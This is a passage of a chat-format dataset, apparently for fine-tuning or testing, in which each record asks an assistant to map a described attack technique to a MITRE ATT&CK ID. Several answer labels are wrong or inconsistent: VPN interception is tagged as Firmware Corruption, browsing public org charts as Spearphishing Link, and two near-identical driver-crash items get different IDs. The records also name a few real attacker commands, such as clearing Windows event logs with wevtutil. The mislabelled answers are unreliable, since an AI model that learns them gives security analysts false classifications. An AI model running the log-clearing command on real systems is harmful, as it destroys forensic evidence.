                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Kerberos authentication system by creating a forged ticket using the KRBTGT account secret, enabling domain-wide privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary automates the creation of multiple low‑privilege IAM users in AWS across regions to distribute commands."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the HKLM\\System\\CurrentControlSet\\Services registry entries, the threat actor forces a service to run their payload."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed as a rootkit that modifies system calls to hide its network traffic and registry entries."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware’s installer inflates the binary with extra padding bytes, attempting to avoid detection by file‑size heuristics."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the system bootloader with a malicious version."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder reuses a stolen session cookie from a web application to maintain authenticated access without needing to log in again."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the DCOM protocol to execute commands on a remote machine by invoking the WMI service through the Win32_Process class."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline utilizes a developer utility's proxy function to execute a payload on target hosts."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a flaw in the network driver to cause a kernel panic, resulting in a denial of service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the \"dsadd user\" command, the threat actor creates a local account on a machine that is not part of a domain."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a USB rubber ducky, the attacker executes a script that dumps the system's password hashes onto the removable media."
            },
            {
                "role": "assistant",
                "content": "T1052.001 - Exfiltration Over Physical Medium: Exfiltration over USB"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured SharePoint site to retrieve employee payroll spreadsheets and upload them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses the sc.exe utility to create a malicious service that runs under the LocalSystem account to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performs pass-the-hash by injecting a stolen hash into the authentication token of a Windows service."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves embedding a VBScript in an Office Test template, executing it during Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor used OneDrive to sync compromised data from the corporate network to external storage."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber criminals create a botnet client to recruit compromised devices."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable driver to cause a kernel panic, leading to a system crash and denial of service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor encrypts stolen credentials with a symmetric cipher and embeds them in DNS TXT records, leveraging the DNS protocol for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update to the firmware of the network card enables the attacker to execute code during system initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑compromise, the malware eliminates its own persistence hooks by deleting startup folder shortcuts and task entries."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor repeatedly opens TCP connections to a local daemon, quickly exhausting available sockets and causing the endpoint to experience a denial‑of‑service condition."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchased a zero‑day exploit kit from an underground marketplace to use against target systems."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An Android trojan unpacks encrypted code at runtime and loads it directly into memory via reflective code loading."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is exfiltrated in incremental pieces that stay within configured data transfer limits."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder changes the settings in /Library/Preferences/com.apple.timezone.auto.plist to manipulate system time."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary swaps the legitimate SIP module with a malicious one to suppress signature verification and allow unsigned code execution."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Microsoft Office document downloads and uploads an espionage tool to the victim’s system via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage launchctl start to trigger a malicious launchd service that exfiltrates data periodically."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a vulnerable comment field to embed a hidden payload that runs when other users view the comment."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the attacker used the legitimate file‑share service to transfer a remote access tool onto the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages libpcap to passively collect DNS queries from the network."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivered credentials to the attacker, who then used them to modify the company's public website with defaced text."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a network bridge to perform bidirectional traffic relaying, allowing them to monitor and tamper with communications between two critical systems."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs the command \"wevtutil cl System\" to erase the Windows System event log after compromising the host."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a local proxy listener that redirects all outbound traffic through an external command server located in a different country."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new role with elevated privileges and assigns it to a compromised user in the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack uses a sleep loop with a high-resolution timer; if the sleep duration is shorter than expected, it infers a debugger is present."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload encrypts its code and only decrypts it at runtime if no debugger is attached."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a misconfigured Exchange web service to download the mailbox database schema and list all email accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Windows login banner to display a legitimate company's logo, tricking users into entering credentials."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploited the GCP Cloud Run API to deploy containers that executed hidden bash commands on target systems."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the Azure VM metadata endpoint to obtain access tokens for the attached managed identity."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool performed Netstat -an analysis to catalog listening services on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a script that sets the setgid flag on a directory, granting group-level privilege escalation to low‑privilege users."
            },
            {
                "role": "assistant",
                "content": "T1548.001 - Abuse Elevation Control Mechanism: Setuid and Setgid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a malicious .exe in a folder with an unquoted path, causing Windows to run the malicious file instead of the legitimate one when the program is invoked."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor leverages a compromised URL shortener to redirect victims to a site hosting an exploit kit that performs drive‑by compromise."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors set up a virtual private server on a cloud platform to relay exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the trusted developer utility MSBuild, the attacker proxies execution of a downloaded DLL by specifying it as a custom task."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Distributed File System (DFS), the intruder copies malicious files to multiple domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deletes shadow copies and backup files to prevent recovery and forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT manipulates the domain's authentication policy to allow legacy NTLM authentication."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leveraged a previously leaked digital certificate to bypass application whitelisting controls."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes custom exploit code for a newly discovered vulnerability in a popular web server."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A payload is delivered as a packed file, which unpacks in memory to evade detection and hide its true intent."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the attacker overwrites log files with fabricated entries to hide evidence of their intrusion."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gains access to a compromised Okta admin account and modifies MFA settings to allow password-only logins."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new value under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to execute malware on system startup."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses social engineering to obtain the target’s organizational hierarchy from publicly available org charts."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries monitor changes on a victim's public site using RSS feeds and web monitoring tools to identify newly published content for phishing."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool extracts the operating system's location settings and sends them to the attacker’s C2 server."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary engaged a botnet‑as‑a‑service platform to amplify a coordinated brute‑force attack against remote authentication services."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script used the \"chmod\" command to change permissions on critical binaries, enabling tampering."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploited a known remote code execution vulnerability in the victim's web server to install a backdoor and gain additional capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor performs lateral movement by exploiting remote code execution in a web server's backend."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the RDP client configuration to reuse an existing session token, allowing them to take over the live remote desktop connection."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a malicious macro into the global Excel add‑in (XLSTART) folder to execute on Excel startup."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the intruder extracts a .py file from a remote server, uses the victim's Python interpreter to compile it into bytecode, and runs it."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a malicious DC service on a compromised host, masquerading as the legitimate domain controller to intercept and relay Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the Windows API, the threat actor calls EnumServicesStatusEx to enumerate system services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user executes a PowerShell script that launches a Remote Management Service for persistent access."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware communicates via a custom UDP protocol on port 53, masquerading as DNS traffic to evade network defenses."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates an established LLMNR/NetBIOS session to perform lateral movement within the network."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leverage vulnerabilities in VPN software to intercept and decrypt supposedly secure communications"
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder conducts vulnerability assessments using OpenVAS, scanning web servers for outdated software versions."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
